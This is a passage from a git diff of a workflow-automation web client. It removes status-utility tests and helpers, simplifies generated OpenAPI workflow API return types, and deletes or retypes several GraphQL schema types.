-                const job = createJob({status: 'STARTED'});
-                const trigger = createTriggerExecution({status: 'CANCELLED'});
-
-                expect(isWorkflowRunning(job, trigger)).toBe(false);
-            });
-        });
-    });
-});
diff --git a/client/src/shared/components/workflow-executions/util/tests/workflowExecution-utils.test.ts b/client/src/shared/components/workflow-executions/util/tests/workflowExecution-utils.test.ts
deleted file mode 100644
index e1c7507e3f4..00000000000
--- a/client/src/shared/components/workflow-executions/util/tests/workflowExecution-utils.test.ts
+++ /dev/null
@@ -1,127 +0,0 @@
-import {getWorkflowStatusType} from '@/shared/components/workflow-executions/util/workflowExecution-utils';
-import {Job, TriggerExecution} from '@/shared/middleware/platform/workflow/execution';
-import {describe, expect, it} from 'vitest';
-
-function createJob(overrides: Partial<Job> = {}): Job {
-    return {
-        priority: 1,
-        startDate: new Date('2024-01-01T10:00:00'),
-        status: 'COMPLETED',
-        ...overrides,
-    } as Job;
-}
-
-function createTriggerExecution(overrides: Partial<TriggerExecution> = {}): TriggerExecution {
-    return {
-        batch: false,
-        maxRetries: 0,
-        priority: 1,
-        retryAttempts: 0,
-        retryDelay: 0,
-        retryDelayFactor: 0,
-        startDate: new Date('2024-01-01T10:00:00'),
-        status: 'COMPLETED',
-        ...overrides,
-    } as TriggerExecution;
-}
-
-describe('getWorkflowStatusType', () => {
-    describe('completed status', () => {
-        it('should return completed when job is COMPLETED and no trigger execution', () => {
-            const job = createJob({status: 'COMPLETED'});
-
-            expect(getWorkflowStatusType(job)).toBe('completed');
-        });
-
-        it('should return completed when job is COMPLETED and trigger is COMPLETED', () => {
-            const job = createJob({status: 'COMPLETED'});
-            const trigger = createTriggerExecution({status: 'COMPLETED'});
-
-            expect(getWorkflowStatusType(job, trigger)).toBe('completed');
-        });
-    });
-
-    describe('running status', () => {
-        it('should return running when job is STARTED and no trigger execution', () => {
-            const job = createJob({status: 'STARTED'});
-
-            expect(getWorkflowStatusType(job)).toBe('running');
-        });
-
-        it('should return running when job is CREATED and no trigger execution', () => {
-            const job = createJob({status: 'CREATED'});
-
-            expect(getWorkflowStatusType(job)).toBe('running');
-        });
-
-        it('should return running when job is STARTED and trigger is STARTED', () => {
-            const job = createJob({status: 'STARTED'});
-            const trigger = createTriggerExecution({status: 'STARTED'});
-
-            expect(getWorkflowStatusType(job, trigger)).toBe('running');
-        });
-
-        it('should return running when job is STARTED and trigger is CREATED', () => {
-            const job = createJob({status: 'STARTED'});
-            const trigger = createTriggerExecution({status: 'CREATED'});
-
-            expect(getWorkflowStatusType(job, trigger)).toBe('running');
-        });
-
-        it('should return running when job is CREATED and trigger is STARTED', () => {
-            const job = createJob({status: 'CREATED'});
-            const trigger = createTriggerExecution({status: 'STARTED'});
-
-            expect(getWorkflowStatusType(job, trigger)).toBe('running');
-        });
-
-        it('should return running when job is CREATED and trigger is CREATED', () => {
-            const job = createJob({status: 'CREATED'});
-            const trigger = createTriggerExecution({status: 'CREATED'});
-
-            expect(getWorkflowStatusType(job, trigger)).toBe('running');
-        });
-    });
-
-    describe('failed status', () => {
-        it('should return failed when job is FAILED and no trigger execution', () => {
-            const job = createJob({status: 'FAILED'});
-
-            expect(getWorkflowStatusType(job)).toBe('failed');
-        });
-
-        it('should return failed when job is STOPPED and no trigger execution', () => {
-            const job = createJob({status: 'STOPPED'});
-
-            expect(getWorkflowStatusType(job)).toBe('failed');
-        });
-
-        it('should return failed when job is COMPLETED but trigger is FAILED', () => {
-            const job = createJob({status: 'COMPLETED'});
-            const trigger = createTriggerExecution({status: 'FAILED'});
-
-            expect(getWorkflowStatusType(job, trigger)).toBe('failed');
-        });
-
-        it('should return failed when job is COMPLETED but trigger is CANCELLED', () => {
-            const job = createJob({status: 'COMPLETED'});
-            const trigger = createTriggerExecution({status: 'CANCELLED'});
-
-            expect(getWorkflowStatusType(job, trigger)).toBe('failed');
-        });
-
-        it('should return failed when job is STARTED but trigger is FAILED', () => {
-            const job = createJob({status: 'STARTED'});
-            const trigger = createTriggerExecution({status: 'FAILED'});
-
-            expect(getWorkflowStatusType(job, trigger)).toBe('failed');
-        });
-
-        it('should return failed when job is FAILED and trigger is COMPLETED', () => {
-            const job = createJob({status: 'FAILED'});
-            const trigger = createTriggerExecution({status: 'COMPLETED'});
-
-            expect(getWorkflowStatusType(job, trigger)).toBe('failed');
-        });
-    });
-});
diff --git a/client/src/shared/components/workflow-executions/util/workflowExecution-utils.tsx b/client/src/shared/components/workflow-executions/util/workflowExecution-utils.tsx
deleted file mode 100644
index 61d788fe6c4..00000000000
--- a/client/src/shared/components/workflow-executions/util/workflowExecution-utils.tsx
+++ /dev/null
@@ -1,41 +0,0 @@
-import {Job, TaskExecution, TriggerExecution} from '@/shared/middleware/platform/workflow/execution';
-import {AlertTriangleIcon, CheckIcon, LoaderCircleIcon} from 'lucide-react';
-
-export type WorkflowStatusType = 'completed' | 'running' | 'failed';
-
-export type ExecutionStatusType = TaskExecution['status'] | TriggerExecution['status'];
-
-export function getExecutionStatusIcon(status: ExecutionStatusType) {
-    switch (status) {
-        case 'COMPLETED':
-            return <CheckIcon className="size-4 text-success" />;
-        case 'STARTED':
-        case 'CREATED':
-            return <LoaderCircleIcon className="size-4 animate-spin text-primary" />;
-        case 'FAILED':
-        case 'CANCELLED':
-        default:
-            return <AlertTriangleIcon className="size-4 text-destructive" />;
-    }
-}
-
-export function getWorkflowStatusType(job: Job, triggerExecution?: TriggerExecution): WorkflowStatusType {
-    const jobStatus = job?.status;
-    const triggerStatus = triggerExecution?.status;
-
-    const isJobCompleted = jobStatus === 'COMPLETED';
-    const isTriggerCompleted = !triggerExecution || triggerStatus === 'COMPLETED';
-
-    if (isJobCompleted && isTriggerCompleted) {
-        return 'completed';
-    }
-
-    const isJobRunning = jobStatus === 'STARTED' || jobStatus === 'CREATED';
-    const isTriggerRunning = !triggerExecution || triggerStatus === 'STARTED' || triggerStatus === 'CREATED';
-
-    if (isJobRunning && isTriggerRunning) {
-        return 'running';
-    }
-
-    return 'failed';
-}
diff --git a/client/src/shared/layout/LeftSidebarNav.tsx b/client/src/shared/layout/LeftSidebarNav.tsx
index c91e241f595..4ea206222ec 100644
--- a/client/src/shared/layout/LeftSidebarNav.tsx
+++ b/client/src/shared/layout/LeftSidebarNav.tsx
@@ -41,7 +41,7 @@ const LeftSidebarNavItem = ({icon, item: {current, id, name, onItemClick}, toLin
         className={cn(
             buttonVariants({variant: 'ghost'}),
             current ? 'bg-accent hover:bg-accent' : 'hover:bg-accent',
-            'w-full justify-start px-2 font-normal'
+            'justify-start px-2 font-normal'
         )}
         onClick={() => (onItemClick ? onItemClick(id) : null)}
         to={toLink}
diff --git a/client/src/shared/middleware/automation/configuration/.openapi-generator/FILES b/client/src/shared/middleware/automation/configuration/.openapi-generator/FILES
index 97974e6557d..3ad089b0fc6 100644
--- a/client/src/shared/middleware/automation/configuration/.openapi-generator/FILES
+++ b/client/src/shared/middleware/automation/configuration/.openapi-generator/FILES
@@ -22,9 +22,7 @@ docs/ConnectionApi.md
 docs/ConnectionBase.md
 docs/ConnectionTagApi.md
 docs/CreateProjectDeploymentWorkflowJob200Response.md
-docs/CreateProjectWorkflow200Response.md
 docs/CredentialStatus.md
-docs/DuplicateWorkflow200Response.md
 docs/Project.md
 docs/ProjectApi.md
 docs/ProjectBasic.md
@@ -64,9 +62,7 @@ models/ComponentDefinitionBasic.ts
 models/Connection.ts
 models/ConnectionBase.ts
 models/CreateProjectDeploymentWorkflowJob200Response.ts
-models/CreateProjectWorkflow200Response.ts
 models/CredentialStatus.ts
-models/DuplicateWorkflow200Response.ts
 models/Project.ts
 models/ProjectBasic.ts
 models/ProjectDeployment.ts
diff --git a/client/src/shared/middleware/automation/configuration/.openapi-generator/VERSION b/client/src/shared/middleware/automation/configuration/.openapi-generator/VERSION
index 3821090fd4e..1b2d969d190 100644
--- a/client/src/shared/middleware/automation/configuration/.openapi-generator/VERSION
+++ b/client/src/shared/middleware/automation/configuration/.openapi-generator/VERSION
@@ -1 +1 @@
-7.19.0
+7.18.0
diff --git a/client/src/shared/middleware/automation/configuration/apis/WorkflowApi.ts b/client/src/shared/middleware/automation/configuration/apis/WorkflowApi.ts
index 95c34f79902..8e2faffdc78 100644
--- a/client/src/shared/middleware/automation/configuration/apis/WorkflowApi.ts
+++ b/client/src/shared/middleware/automation/configuration/apis/WorkflowApi.ts
@@ -15,15 +15,9 @@
 
 import * as runtime from '../runtime';
 import type {
-  CreateProjectWorkflow200Response,
-  DuplicateWorkflow200Response,
   Workflow,
 } from '../models/index';
 import {
-    CreateProjectWorkflow200ResponseFromJSON,
-    CreateProjectWorkflow200ResponseToJSON,
-    DuplicateWorkflow200ResponseFromJSON,
-    DuplicateWorkflow200ResponseToJSON,
     WorkflowFromJSON,
     WorkflowToJSON,
 } from '../models/index';
@@ -74,7 +68,7 @@ export class WorkflowApi extends runtime.BaseAPI {
      * Create new workflow and adds it to an existing project.
      * Create new workflow and adds it to an existing project.
      */
-    async createProjectWorkflowRaw(requestParameters: CreateProjectWorkflowRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<CreateProjectWorkflow200Response>> {
+    async createProjectWorkflowRaw(requestParameters: CreateProjectWorkflowRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<number>> {
         if (requestParameters['id'] == null) {
             throw new runtime.RequiredError(
                 'id',
@@ -107,14 +101,18 @@ export class WorkflowApi extends runtime.BaseAPI {
             body: WorkflowToJSON(requestParameters['workflow']),
         }, initOverrides);
 
-        return new runtime.JSONApiResponse(response, (jsonValue) => CreateProjectWorkflow200ResponseFromJSON(jsonValue));
+        if (this.isJsonMime(response.headers.get('content-type'))) {
+            return new runtime.JSONApiResponse<number>(response);
+        } else {
+            return new runtime.TextApiResponse(response) as any;
+        }
     }
 
     /**
      * Create new workflow and adds it to an existing project.
      * Create new workflow and adds it to an existing project.
      */
-    async createProjectWorkflow(requestParameters: CreateProjectWorkflowRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<CreateProjectWorkflow200Response> {
+    async createProjectWorkflow(requestParameters: CreateProjectWorkflowRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<number> {
         const response = await this.createProjectWorkflowRaw(requestParameters, initOverrides);
         return await response.value();
     }
@@ -161,7 +159,7 @@ export class WorkflowApi extends runtime.BaseAPI {
      * Duplicates existing workflow.
      * Duplicates existing workflow.
      */
-    async duplicateWorkflowRaw(requestParameters: DuplicateWorkflowRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<DuplicateWorkflow200Response>> {
+    async duplicateWorkflowRaw(requestParameters: DuplicateWorkflowRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<string>> {
         if (requestParameters['id'] == null) {
             throw new runtime.RequiredError(
                 'id',
@@ -192,14 +190,18 @@ export class WorkflowApi extends runtime.BaseAPI {
             query: queryParameters,
         }, initOverrides);
 
-        return new runtime.JSONApiResponse(response, (jsonValue) => DuplicateWorkflow200ResponseFromJSON(jsonValue));
+        if (this.isJsonMime(response.headers.get('content-type'))) {
+            return new runtime.JSONApiResponse<string>(response);
+        } else {
+            return new runtime.TextApiResponse(response) as any;
+        }
     }
 
     /**
      * Duplicates existing workflow.
      * Duplicates existing workflow.
      */
-    async duplicateWorkflow(requestParameters: DuplicateWorkflowRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<DuplicateWorkflow200Response> {
+    async duplicateWorkflow(requestParameters: DuplicateWorkflowRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<string> {
         const response = await this.duplicateWorkflowRaw(requestParameters, initOverrides);
         return await response.value();
     }
diff --git a/client/src/shared/middleware/automation/configuration/docs/CreateProjectWorkflow200Response.md b/client/src/shared/middleware/automation/configuration/docs/CreateProjectWorkflow200Response.md
deleted file mode 100644
index dd1bc46c0ae..00000000000
--- a/client/src/shared/middleware/automation/configuration/docs/CreateProjectWorkflow200Response.md
+++ /dev/null
@@ -1,34 +0,0 @@
-
-# CreateProjectWorkflow200Response
-
-
-## Properties
-
-Name | Type
------------- | -------------
-`projectWorkflowId` | number
-
-## Example
-
-```typescript
-import type { CreateProjectWorkflow200Response } from ''
-
-// TODO: Update the object below with actual values
-const example = {
-  "projectWorkflowId": null,
-} satisfies CreateProjectWorkflow200Response
-
-console.log(example)
-
-// Convert the instance to a JSON string
-const exampleJSON: string = JSON.stringify(example)
-console.log(exampleJSON)
-
-// Parse the JSON string back to an object
-const exampleParsed = JSON.parse(exampleJSON) as CreateProjectWorkflow200Response
-console.log(exampleParsed)
-```
-
-[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
-
-
diff --git a/client/src/shared/middleware/automation/configuration/docs/DuplicateWorkflow200Response.md b/client/src/shared/middleware/automation/configuration/docs/DuplicateWorkflow200Response.md
deleted file mode 100644
index ccb443a5dbc..00000000000
--- a/client/src/shared/middleware/automation/configuration/docs/DuplicateWorkflow200Response.md
+++ /dev/null
@@ -1,34 +0,0 @@
-
-# DuplicateWorkflow200Response
-
-
-## Properties
-
-Name | Type
------------- | -------------
-`workflowId` | string
-
-## Example
-
-```typescript
-import type { DuplicateWorkflow200Response } from ''
-
-// TODO: Update the object below with actual values
-const example = {
-  "workflowId": null,
-} satisfies DuplicateWorkflow200Response
-
-console.log(example)
-
-// Convert the instance to a JSON string
-const exampleJSON: string = JSON.stringify(example)
-console.log(exampleJSON)
-
-// Parse the JSON string back to an object
-const exampleParsed = JSON.parse(exampleJSON) as DuplicateWorkflow200Response
-console.log(exampleParsed)
-```
-
-[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
-
-
diff --git a/client/src/shared/middleware/automation/configuration/docs/WorkflowApi.md b/client/src/shared/middleware/automation/configuration/docs/WorkflowApi.md
index cd41be37ecf..bcad3e8cc21 100644
--- a/client/src/shared/middleware/automation/configuration/docs/WorkflowApi.md
+++ b/client/src/shared/middleware/automation/configuration/docs/WorkflowApi.md
@@ -18,7 +18,7 @@ All URIs are relative to */api/automation/internal*
 
 ## createProjectWorkflow
 
-> CreateProjectWorkflow200Response createProjectWorkflow(id, workflow)
+> number createProjectWorkflow(id, workflow)
 
 Create new workflow and adds it to an existing project.
 
@@ -66,7 +66,7 @@ example().catch(console.error);
 
 ### Return type
 
-[**CreateProjectWorkflow200Response**](CreateProjectWorkflow200Response.md)
+**number**
 
 ### Authorization
 
@@ -155,7 +155,7 @@ No authorization required
 
 ## duplicateWorkflow
 
-> DuplicateWorkflow200Response duplicateWorkflow(id, workflowId)
+> string duplicateWorkflow(id, workflowId)
 
 Duplicates existing workflow.
 
@@ -203,7 +203,7 @@ example().catch(console.error);
 
 ### Return type
 
-[**DuplicateWorkflow200Response**](DuplicateWorkflow200Response.md)
+**string**
 
 ### Authorization
 
diff --git a/client/src/shared/middleware/automation/configuration/models/CreateProjectWorkflow200Response.ts b/client/src/shared/middleware/automation/configuration/models/CreateProjectWorkflow200Response.ts
deleted file mode 100644
index 56fde2f0bbd..00000000000
--- a/client/src/shared/middleware/automation/configuration/models/CreateProjectWorkflow200Response.ts
+++ /dev/null
@@ -1,65 +0,0 @@
-/* tslint:disable */
-/* eslint-disable */
-/**
- * The Automation Configuration Internal API
- * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
- *
- * The version of the OpenAPI document: 1
- * 
- *
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
- * https://openapi-generator.tech
- * Do not edit the class manually.
- */
-
-import { mapValues } from '../runtime';
-/**
- * 
- * @export
- * @interface CreateProjectWorkflow200Response
- */
-export interface CreateProjectWorkflow200Response {
-    /**
-     * The id of a created project workflow.
-     * @type {number}
-     * @memberof CreateProjectWorkflow200Response
-     */
-    projectWorkflowId?: number;
-}
-
-/**
- * Check if a given object implements the CreateProjectWorkflow200Response interface.
- */
-export function instanceOfCreateProjectWorkflow200Response(value: object): value is CreateProjectWorkflow200Response {
-    return true;
-}
-
-export function CreateProjectWorkflow200ResponseFromJSON(json: any): CreateProjectWorkflow200Response {
-    return CreateProjectWorkflow200ResponseFromJSONTyped(json, false);
-}
-
-export function CreateProjectWorkflow200ResponseFromJSONTyped(json: any, ignoreDiscriminator: boolean): CreateProjectWorkflow200Response {
-    if (json == null) {
-        return json;
-    }
-    return {
-        
-        'projectWorkflowId': json['projectWorkflowId'] == null ? undefined : json['projectWorkflowId'],
-    };
-}
-
-export function CreateProjectWorkflow200ResponseToJSON(json: any): CreateProjectWorkflow200Response {
-    return CreateProjectWorkflow200ResponseToJSONTyped(json, false);
-}
-
-export function CreateProjectWorkflow200ResponseToJSONTyped(value?: CreateProjectWorkflow200Response | null, ignoreDiscriminator: boolean = false): any {
-    if (value == null) {
-        return value;
-    }
-
-    return {
-        
-        'projectWorkflowId': value['projectWorkflowId'],
-    };
-}
-
diff --git a/client/src/shared/middleware/automation/configuration/models/DuplicateWorkflow200Response.ts b/client/src/shared/middleware/automation/configuration/models/DuplicateWorkflow200Response.ts
deleted file mode 100644
index e9740b514cb..00000000000
--- a/client/src/shared/middleware/automation/configuration/models/DuplicateWorkflow200Response.ts
+++ /dev/null
@@ -1,65 +0,0 @@
-/* tslint:disable */
-/* eslint-disable */
-/**
- * The Automation Configuration Internal API
- * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
- *
- * The version of the OpenAPI document: 1
- * 
- *
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
- * https://openapi-generator.tech
- * Do not edit the class manually.
- */
-
-import { mapValues } from '../runtime';
-/**
- * 
- * @export
- * @interface DuplicateWorkflow200Response
- */
-export interface DuplicateWorkflow200Response {
-    /**
-     * The id of a new duplicated workflow.
-     * @type {string}
-     * @memberof DuplicateWorkflow200Response
-     */
-    workflowId?: string;
-}
-
-/**
- * Check if a given object implements the DuplicateWorkflow200Response interface.
- */
-export function instanceOfDuplicateWorkflow200Response(value: object): value is DuplicateWorkflow200Response {
-    return true;
-}
-
-export function DuplicateWorkflow200ResponseFromJSON(json: any): DuplicateWorkflow200Response {
-    return DuplicateWorkflow200ResponseFromJSONTyped(json, false);
-}
-
-export function DuplicateWorkflow200ResponseFromJSONTyped(json: any, ignoreDiscriminator: boolean): DuplicateWorkflow200Response {
-    if (json == null) {
-        return json;
-    }
-    return {
-        
-        'workflowId': json['workflowId'] == null ? undefined : json['workflowId'],
-    };
-}
-
-export function DuplicateWorkflow200ResponseToJSON(json: any): DuplicateWorkflow200Response {
-    return DuplicateWorkflow200ResponseToJSONTyped(json, false);
-}
-
-export function DuplicateWorkflow200ResponseToJSONTyped(value?: DuplicateWorkflow200Response | null, ignoreDiscriminator: boolean = false): any {
-    if (value == null) {
-        return value;
-    }
-
-    return {
-        
-        'workflowId': value['workflowId'],
-    };
-}
-
diff --git a/client/src/shared/middleware/automation/configuration/models/index.ts b/client/src/shared/middleware/automation/configuration/models/index.ts
index f5bf0ded68a..e35c0545ff1 100644
--- a/client/src/shared/middleware/automation/configuration/models/index.ts
+++ b/client/src/shared/middleware/automation/configuration/models/index.ts
@@ -8,9 +8,7 @@ export * from './ComponentDefinitionBasic';
 export * from './Connection';
 export * from './ConnectionBase';
 export * from './CreateProjectDeploymentWorkflowJob200Response';
-export * from './CreateProjectWorkflow200Response';
 export * from './CredentialStatus';
-export * from './DuplicateWorkflow200Response';
 export * from './Project';
 export * from './ProjectBasic';
 export * from './ProjectDeployment';
diff --git a/client/src/shared/middleware/graphql.ts b/client/src/shared/middleware/graphql.ts
index 6c3a298b51a..6fe5713de9b 100644
--- a/client/src/shared/middleware/graphql.ts
+++ b/client/src/shared/middleware/graphql.ts
@@ -55,7 +55,7 @@ export type ActionDefinition = {
 
 export type AddColumnInput = {
   column: ColumnInput;
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   tableId: Scalars['ID']['input'];
 };
 
@@ -86,58 +86,6 @@ export type AdminUserPage = {
   totalPages: Scalars['Int']['output'];
 };
 
-export type ApiCollectionSearchResult = SearchResult & {
-  __typename?: 'ApiCollectionSearchResult';
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  name: Scalars['String']['output'];
-  type: SearchAssetType;
-};
-
-export type ApiConnector = {
-  __typename?: 'ApiConnector';
-  connectorVersion: Scalars['Int']['output'];
-  createdBy?: Maybe<Scalars['String']['output']>;
-  createdDate?: Maybe<Scalars['Long']['output']>;
-  definition?: Maybe<Scalars['String']['output']>;
-  description?: Maybe<Scalars['String']['output']>;
-  enabled?: Maybe<Scalars['Boolean']['output']>;
-  endpoints?: Maybe<Array<ApiConnectorEndpoint>>;
-  icon?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  lastModifiedBy?: Maybe<Scalars['String']['output']>;
-  lastModifiedDate?: Maybe<Scalars['Long']['output']>;
-  name: Scalars['String']['output'];
-  specification?: Maybe<Scalars['String']['output']>;
-  title?: Maybe<Scalars['String']['output']>;
-  version?: Maybe<Scalars['Int']['output']>;
-};
-
-export type ApiConnectorEndpoint = {
-  __typename?: 'ApiConnectorEndpoint';
-  createdBy?: Maybe<Scalars['String']['output']>;
-  createdDate?: Maybe<Scalars['Long']['output']>;
-  description?: Maybe<Scalars['String']['output']>;
-  httpMethod?: Maybe<HttpMethod>;
-  id: Scalars['ID']['output'];
-  lastExecutionDate?: Maybe<Scalars['Long']['output']>;
-  lastModifiedBy?: Maybe<Scalars['String']['output']>;
-  lastModifiedDate?: Maybe<Scalars['Long']['output']>;
-  name: Scalars['String']['output'];
-  path?: Maybe<Scalars['String']['output']>;
-  version?: Maybe<Scalars['Int']['output']>;
-};
-
-export type ApiEndpointSearchResult = SearchResult & {
-  __typename?: 'ApiEndpointSearchResult';
-  collectionId: Scalars['ID']['output'];
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  name: Scalars['String']['output'];
-  path?: Maybe<Scalars['String']['output']>;
-  type: SearchAssetType;
-};
-
 export type ApiKey = {
   __typename?: 'ApiKey';
   createdBy?: Maybe<Scalars['String']['output']>;
@@ -263,15 +211,6 @@ export type ComponentCategory = {
   name: Scalars['String']['output'];
 };
 
-export type ComponentConnection = {
-  __typename?: 'ComponentConnection';
-  componentName: Scalars['String']['output'];
-  componentVersion: Scalars['Int']['output'];
-  key: Scalars['String']['output'];
-  required: Scalars['Boolean']['output'];
-  workflowNodeName: Scalars['String']['output'];
-};
-
 export type ComponentDefinition = {
   __typename?: 'ComponentDefinition';
   actionClusterElementTypes?: Maybe<Scalars['Map']['output']>;
@@ -370,14 +309,6 @@ export type ConnectionDefinition = {
   version: Scalars['Int']['output'];
 };
 
-export type ConnectionSearchResult = SearchResult & {
-  __typename?: 'ConnectionSearchResult';
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  name: Scalars['String']['output'];
-  type: SearchAssetType;
-};
-
 export enum ControlType {
   ArrayBuilder = 'ARRAY_BUILDER',
   CodeEditor = 'CODE_EDITOR',
@@ -401,19 +332,11 @@ export enum ControlType {
   Url = 'URL'
 }
 
-export type CreateApiConnectorInput = {
-  connectorVersion: Scalars['Int']['input'];
-  description?: InputMaybe<Scalars['String']['input']>;
-  icon?: InputMaybe<Scalars['String']['input']>;
-  name: Scalars['String']['input'];
-  title?: InputMaybe<Scalars['String']['input']>;
-};
-
 export type CreateDataTableInput = {
   baseName: Scalars['String']['input'];
   columns: Array<ColumnInput>;
   description?: InputMaybe<Scalars['String']['input']>;
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   workspaceId: Scalars['ID']['input'];
 };
 
@@ -432,50 +355,6 @@ export type CreateWorkspaceMcpServerInput = {
   workspaceId: Scalars['ID']['input'];
 };
 
-export type CustomComponent = {
-  __typename?: 'CustomComponent';
-  componentVersion?: Maybe<Scalars['Int']['output']>;
-  createdBy?: Maybe<Scalars['String']['output']>;
-  createdDate?: Maybe<Scalars['Long']['output']>;
-  description?: Maybe<Scalars['String']['output']>;
-  enabled?: Maybe<Scalars['Boolean']['output']>;
-  icon?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  language?: Maybe<CustomComponentLanguage>;
-  lastModifiedBy?: Maybe<Scalars['String']['output']>;
-  lastModifiedDate?: Maybe<Scalars['Long']['output']>;
-  name: Scalars['String']['output'];
-  title?: Maybe<Scalars['String']['output']>;
-  version?: Maybe<Scalars['Int']['output']>;
-};
-
-export type CustomComponentActionDefinition = {
-  __typename?: 'CustomComponentActionDefinition';
-  description?: Maybe<Scalars['String']['output']>;
-  name: Scalars['String']['output'];
-  title?: Maybe<Scalars['String']['output']>;
-};
-
-export type CustomComponentDefinition = {
-  __typename?: 'CustomComponentDefinition';
-  actions: Array<CustomComponentActionDefinition>;
-  triggers: Array<CustomComponentTriggerDefinition>;
-};
-
-export enum CustomComponentLanguage {
-  Java = 'JAVA',
-  Javascript = 'JAVASCRIPT',
-  Python = 'PYTHON',
-  Ruby = 'RUBY'
-}
-
-export type CustomComponentTriggerDefinition = {
-  __typename?: 'CustomComponentTriggerDefinition';
-  description?: Maybe<Scalars['String']['output']>;
-  name: Scalars['String']['output'];
-  title?: Maybe<Scalars['String']['output']>;
-};
-
 export type DataTable = {
   __typename?: 'DataTable';
   baseName: Scalars['String']['output'];
@@ -505,14 +384,6 @@ export type DataTableRowPage = {
   nextOffset?: Maybe<Scalars['Int']['output']>;
 };
 
-export type DataTableSearchResult = SearchResult & {
-  __typename?: 'DataTableSearchResult';
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  name: Scalars['String']['output'];
-  type: SearchAssetType;
-};
-
 export type DataTableTagsEntry = {
   __typename?: 'DataTableTagsEntry';
   tableId: Scalars['ID']['output'];
@@ -528,9 +399,9 @@ export type DataTableWebhook = {
 };
 
 export enum DataTableWebhookType {
-  RecordCreated = 'RECORD_CREATED',
-  RecordDeleted = 'RECORD_DELETED',
-  RecordUpdated = 'RECORD_UPDATED'
+  Delete = 'DELETE',
+  Insert = 'INSERT',
+  Update = 'UPDATE'
 }
 
 export type DateProperty = Property & {
@@ -568,36 +439,13 @@ export type DateTimeProperty = Property & {
 };
 
 export type DeleteRowInput = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   id: Scalars['ID']['input'];
   tableId: Scalars['ID']['input'];
 };
 
-export type DiscoverEndpointsInput = {
-  documentationUrl: Scalars['String']['input'];
-  name: Scalars['String']['input'];
-  userPrompt?: InputMaybe<Scalars['String']['input']>;
-};
-
-export type DiscoveredEndpoint = {
-  __typename?: 'DiscoveredEndpoint';
-  id: Scalars['ID']['output'];
-  method: Scalars['String']['output'];
-  path: Scalars['String']['output'];
-  resource?: Maybe<Scalars['String']['output']>;
-  summary?: Maybe<Scalars['String']['output']>;
-};
-
-export type DocumentStatusUpdate = {
-  __typename?: 'DocumentStatusUpdate';
-  documentId: Scalars['ID']['output'];
-  message?: Maybe<Scalars['String']['output']>;
-  status: Scalars['Int']['output'];
-  timestamp: Scalars['Long']['output'];
-};
-
 export type DuplicateDataTableInput = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   newBaseName: Scalars['String']['input'];
   tableId: Scalars['ID']['input'];
 };
@@ -616,25 +464,6 @@ export type DynamicPropertiesProperty = Property & {
   type: PropertyType;
 };
 
-export type EndpointDefinitionInput = {
-  description?: InputMaybe<Scalars['String']['input']>;
-  httpMethod: HttpMethod;
-  operationId: Scalars['String']['input'];
-  parameters?: InputMaybe<Array<ParameterDefinitionInput>>;
-  path: Scalars['String']['input'];
-  requestBody?: InputMaybe<RequestBodyDefinitionInput>;
-  responses?: InputMaybe<Array<ResponseDefinitionInput>>;
-  summary?: InputMaybe<Scalars['String']['input']>;
-};
-
-export type EndpointDiscoveryResult = {
-  __typename?: 'EndpointDiscoveryResult';
-  endpoints?: Maybe<Array<DiscoveredEndpoint>>;
-  errorMessage?: Maybe<Scalars['String']['output']>;
-  jobId: Scalars['String']['output'];
-  status: GenerationJobStatusEnum;
-};
-
 export type Environment = {
   __typename?: 'Environment';
   id: Scalars['ID']['output'];
@@ -647,20 +476,6 @@ export enum EnvironmentEnum {
   Staging = 'STAGING'
 }
 
-export type ExecutionError = {
-  __typename?: 'ExecutionError';
-  message?: Maybe<Scalars['String']['output']>;
-  stackTrace?: Maybe<Array<Maybe<Scalars['String']['output']>>>;
-};
-
-export type FileEntry = {
-  __typename?: 'FileEntry';
-  extension?: Maybe<Scalars['String']['output']>;
-  mimeType?: Maybe<Scalars['String']['output']>;
-  name: Scalars['String']['output'];
-  url: Scalars['String']['output'];
-};
-
 export type FileEntryProperty = Property & {
   __typename?: 'FileEntryProperty';
   advancedOption?: Maybe<Scalars['Boolean']['output']>;
@@ -678,75 +493,20 @@ export type FileEntryProperty = Property & {
   type: PropertyType;
 };
 
-export type GenerateForEndpointsInput = {
-  documentationUrl: Scalars['String']['input'];
-  icon?: InputMaybe<Scalars['String']['input']>;
-  name: Scalars['String']['input'];
-  selectedEndpoints: Array<SelectedEndpointInput>;
-};
-
-export type GenerateFromDocumentationInput = {
-  documentationUrl: Scalars['String']['input'];
-  icon?: InputMaybe<Scalars['String']['input']>;
-  name: Scalars['String']['input'];
-  userPrompt?: InputMaybe<Scalars['String']['input']>;
-};
-
-export type GenerateSpecificationInput = {
-  baseUrl?: InputMaybe<Scalars['String']['input']>;
-  endpoints: Array<EndpointDefinitionInput>;
-  name: Scalars['String']['input'];
-};
-
-export type GenerateSpecificationResponse = {
